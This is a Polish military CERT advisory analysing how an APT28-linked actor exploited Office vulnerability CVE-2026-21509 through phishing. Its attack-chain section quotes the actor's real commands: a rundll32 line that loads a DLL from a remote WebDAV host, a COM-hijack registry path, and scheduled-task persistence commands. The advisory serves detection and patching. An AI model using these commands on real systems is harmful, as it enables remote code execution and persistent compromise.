

Analiza wykorzystania podatności CVE 2026 21509 w kontekście aktywności Crafty Leshy

Archived: 2026-06-03 02:00:51 UTC

Już cztery dni później tj. 30.01.2026 r. analitycy DKWOC, prowadzący bieżące monitorowanie aktywności adversarzy zidentyfikowali artefakty pozwalające potwierdzić aktywne wykorzystanie tej luki w kampanii wymierzonej zarówno w instytucje krajowe, jak i zagraniczne, w tym podmioty z Rumunii, Ukrainy oraz Słowacji. Co istotne, przeprowadzona analiza wskazuje, iż aktor rozpoczął prace nad uzbrojeniem złośliwych dokumentów kolejnego dnia po upublicznieniu podatności.

Pomimo szerokiego zasięgu kampanii, działania adversarza miały charakter ukierunkowany o czym świadczy precyzyjne typowanie instytucji, jak i konkretnych osób w ich strukturach. Na szczególną uwagę zasługuje fakt, iż w celu zwiększenia wiarygodności wiadomości phishingowych wykorzystano przejęte konta poczty elektronicznej instytucji państwowych z krajów Europy Środkowo-Wschodniej, w tym m.in. z Ukrainy oraz Rumunii (odnotowano również dystrybucję wiadomości z przejętych kont pocztowych z innych regionów, natomiast w znacznej mniejszości). Treści wiadomości były spójne z profilem działalności zarówno nadawcy, jak i odbiorcy.

Uwzględniając powyższe fakty, należy ocenić, iż kampania została zrealizowana w sposób minimalizujący ryzyko wykrycia przez odbiorców symptomów ataku phishingowego. Takie podejście istotnie zwiększa prawdopodobieństwo skutecznej infekcji oraz stwarza warunki do utrzymania długotrwałej persystencji adversarza w skompromitowanych systemach.

Tożsama aktywność została opisana w dniu 1 lutego przez analityków CERT-UA, którzy przypisują ją do klastra UAC-0001 powiązanego z APT28. DKWOC śledzi przedmiotowego adversarza jako zbiór aktywności Crafty Leshy.

Na czym polega podatność CVE-2026-21509.

Podatność CVE-2026-21509 wynika z nieprawidłowej walidacji danych wejściowych wykorzystywanych przez Microsoft Office podczas podejmowania decyzji bezpieczeństwa. Została ona sklasyfikowana jako słabość CWE-807: Reliance on Untrusted Inputs in a Security Decision, a wartość zagrożenia została oszacowana na poziomie 7.8 w 10 stopniowej skali CVSS:3.1 (/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C).^{[1][2]}

Microsoft już w biuletynie bezpieczeństwa MS10-036^[3] (z dn. 16.06.2010r.) zauważył problem niewłaściwej walidacji obiektów COM^[4] (ang. Component Object Model) oraz poinformował o wprowadzeniu poprawki mitygującej zagrożenie. Jednym z zastosowanych mechanizmów ochronnych było wprowadzenie możliwości blokowania aktywacji określonych, obiektów COM osadzonych w dokumentach Office poprzez zastosowanie Compatibility Flags (tzw. kill bits).^[5]

W przypadku aktualnej podatności CVE-2026-21509 atakujący może spreparować dokument, który omija proces walidacji wspomnianego mechanizmu zabezpieczeń Compatibility Flags, skutkując załadowaniem obiektu COM i

wykonanie określonej dla niego akcji, a jedyna wymagana akcja po stronie użytkownika to otwarcie złośliwego dokumentu (podatność nie działa w trybie podglądu np. z poziomu MS Outlook).

Analiza ataku.

Pierwszym etapem odnotowanej kampanii było dostarczenie wiadomości phishingowych do odbiorców. Jak wcześniej wspomniano, adversarz wykorzystał przejęte skrzynki pocztowe instytucji państwowych różnych krajów, w tym m.in. Ukrainy i Rumunii, a treści wiadomości były spójne z profilem działalności zarówno nadawcy, jak i odbiorcy, co zwiększało wiarygodność korespondencji.



Rys. 1. Przykładowa wiadomość przesłana przez aktora.

W przesłanym dokumencie została osadzona struktura OLE^[6] (ang. Object Linking and Embedding) inicjująca COM Shell.Explorer.1 (CLSID: EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B)^[7], który pełni rolę komponentu powłoki systemu Windows (Internet Explorer / Windows Explorer). W analizowanej próbce jego inicjalizacja pozwoliła na pobranie oraz wykonanie pliku skrótu .lnk umieszczonego na zdalnym zasobie sieciowym WebDAV^[8].



Rys. 2. Reprezentacja hexadecymalna struktury OLE.

Pik skrótu odwołuje się do obiektu panelu sterowania systemu Windows, wykorzystując osadzony identyfikator klasy Control Panel – All Control Panel Items (CLSID: 26EE0668-A00A-44D7-9371-BEB064C98683). W rezultacie system interpretuje wskazaną ścieżkę jako element panelu sterowania i podejmuje próbę otwarcia zasobu znajdującego się w zdalnej lokalizacji WebDAV jako pliku typu .cpl^[9] (pliki .cpl są w istocie bibliotekami DLL). Mechanizm ten prowadzi do uruchomienia polecenia: `rundll32.exe shell32.dll,Control_RunDLL "\\freefoodaid.com@SSL\tables\tables.d"`^[10] co skutkuje załadowaniem i wykonaniem złośliwej biblioteki DLL bezpośrednio z zasobu sieciowego.



Rys. 3. Reprezentacja hexadecymalna pliku .lnk.

W analizowanym przypadku biblioteka pełni rolę droppera, którego zadaniem jest odszyfrowanie (algotymem XOR) osadzonych w nim bloków danych i zapisania ich w określonych lokalizacjach na dysku infektowanego urządzenia.



Rys. 4. Sekcja odpowiedzialna za zapisanie komponentów (pseudokod).

W dalszej kolejności z wykorzystaniem techniki COM Hijacking^[11] w celu zachowania długotrwałej persystencji modyfikuje podklucz rejestru HKCU\Software\Classes\CLSID\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\InProcServer32 wskazując na lokalizację odkodowanej biblioteki:

%programdata%\USOPublic\Data\User\EhStoreShell.dll, oraz ustawia wartość ThreadingModel na Apartment (Single-Threaded Apartment (STA))^[12]. Zmieniony w tej fazie komponent jest inicjowany automatycznie w kontekście procesu explorer.exe podczas jego uruchomienia.



Rys. 5. Sekcja odpowiedzialna za COM Hijacking (pseudokod).

Następnie tworzone jest zaplanowane zadanie systemowe na podstawie wcześniej wygenerowanego pliku .xml, z wykorzystaniem polecenia: schtasks.exe /Create /tn "OneDriveHealth" /XML "%temp%\Diagnostics\office.xml". Zadanie to uruchamiane jest po upływie jednej minuty i ma na celu wykonanie komendy:

%windir%\system32\cmd.exe /c (taskkill /f /IM explorer.exe >nul 2>&1) & (start explorer >nul 2>&1) & (schtasks /delete /f /tn neDriveHealth). Efektem jego działania jest zresetowanie procesu explorer.exe co prowadzi do ponownej inicjalizacji komponentów powłoki systemu Windows i uruchomienia złośliwej biblioteki DLL zarejestrowanej poprzez opisany wcześniej COM Hijacking. Mechanizm ten umożliwia uruchomienie kolejnych etapów infekcji, bez oczekiwania na restart procesu wymuszony działaniem użytkownika (np. poprzez ponowne uruchomienie stacji roboczej).



Rys. 6. Sekcja odpowiedzialna za utworzenie zadania uruchamiającego kolejny etap infekcji (pseudokod).

W dalszej infekcji załadowana biblioteka EhStoreShell.dll odczytuje plik graficzny SplashScreen.png i wydobywa z niego ładunek, ukryty przy użyciu techniki steganograficznej polegającej na ukrywaniu informacji w najmniej znaczących bitach składowych kolorów poszczególnych pikseli (LSB - Least Significant Bit)^[13]. Pozyskany w ten sposób shellcode jest następnie wykonywany bezpośrednio w pamięci operacyjnej. Przeprowadzona analiza wskazuje, iż jest to implant Grunt (stager) powiązany z frameworkiem C2 Covenant, a jako kanał komunikacji wykorzystuje serwis chmurowy file[n].io. Zastosowane techniki są spójne z tymi pojawiającymi się we wcześniejszych kampaniach przypisywanych temu adwersarzowi.

Dodatkowe informacje.

Specjaliści DKWOC potwierdzili możliwość wykorzystania podatności z innymi obiektami COM, które również mogą być skuteczne w realizacji złośliwych działań. Należy podkreślić, że podatność dotyczy także pozostałych typów plików pakietu Microsoft Office wykorzystujących mechanizmy COM, co umożliwia adwersarzowi

znaczną elastyczność do prowadzenia dalszych działań z jej użyciem. Ponadto w toku szczegółowej analizy próbki, zidentyfikowano artefakty mogące wskazywać, iż operator testował alternatywne sposoby wykorzystania tejże podatności m.in. w połączeniu z wykorzystaniem podatności CVE-2021-40444. Ponadto jeden z obiektów dokonuje próby ładowania szablonu z lokalizacji zewnętrznej natomiast w czasie prowadzonej analizy nie otrzymano ładunku, toteż jego przeznaczenie nie jest znane.

Zalecenia.

DKWOC zaleca wszystkim użytkownikom pakietu Microsoft Office w wersji 2016 i 2019 niezwłoczne zainstalowanie właściwych aktualizacji bezpieczeństwa. Zgodnie z komunikatem firmy Microsoft użytkownicy wersji 2021 i nowszych zostali objęci ochroną poprzez wdrożone zmiany po stronie usługi, przy czym ich skuteczna aktywacja wymaga ponownego uruchomienia aplikacji Microsoft Office.^[14]

Dodatkowo zaleca się:

- dokonanie weryfikacji komunikacji sieciowej pod kątem połączeń z domenami wskazanymi w sekcji IoC;
- przeszukanie systemów pocztowych z wykorzystaniem reguły YARA dołączonej na końcu artykułu, umożliwiającej identyfikację próbek powiązanych z opisywaną kampanią.

W przypadku potwierdzenia obecności złośliwych plików w infrastrukturze lub komunikacji ze wskazanymi domenami, uprasza się o niezwłoczne poinformowanie właściwego CSIRT poziomu krajowego oraz DKWOC.

Podsumowanie.

Celem niniejszego artykułu jest podkreślenie konieczności niezwłocznego stosowania aktualizacji bezpieczeństwa. Jak pokazuje analizowany przypadek, aktor dysponujący wysokim poziomem zaawansowania jest w stanie w bardzo krótkim czasie od momentu publikacji informacji o podatności wykorzystać ją do prowadzenia skutecznych i ukierunkowanych działań ofensywnych.

Wskaźniki kompromitacji.





Wskaźniki kompromitacji (IoC) oraz reguła YARA dostępne są do pobrania poniżej w plikach ZIP.

- [1] <https://nvd.nist.gov/vuln/detail/CVE-2026-21509>
- [2] <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509>
- [3] <https://learn.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-036>
- [4] <https://learn.microsoft.com/en-us/windows/win32/com/the-component-object-model>
- [5] <https://support.microsoft.com/en-us/topic/security-settings-for-com-objects-in-office-b08a031c-0ab8-3796-b8ec-a89f9dbb443d>
- [6] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-oleds/85583d21-c1cf-4afe-a35f-d6701c5fbb6
- [7] https://strontic.github.io/xcyclopedia/library/clsid_EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B.html
- [8] <https://learn.microsoft.com/en-us/iis/configuration/system.webserver/webdav/>
- [9] <https://learn.microsoft.com/en-us/windows/win32/shell/using-cplapplet>
- [10] <https://lolbas-project.github.io/lolbas/Libraries/Shell32/>
- [11] <https://attack.mitre.org/techniques/T1546/015/>
- [12] <https://learn.microsoft.com/en-us/windows/win32/com/single-threaded-apartments>
- [13] <https://medium.com/@renantkn/lsb-steganography-hiding-a-message-in-the-pixels-of-an-image-4722a8567046>
- [14] <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509>

Source: <https://www.wojsko-polskie.pl/woc/articles/aktualnosci-w/cve-2026-21509-opis-podatnosci-i-przegląd-zaobserwowanej-kampanii/>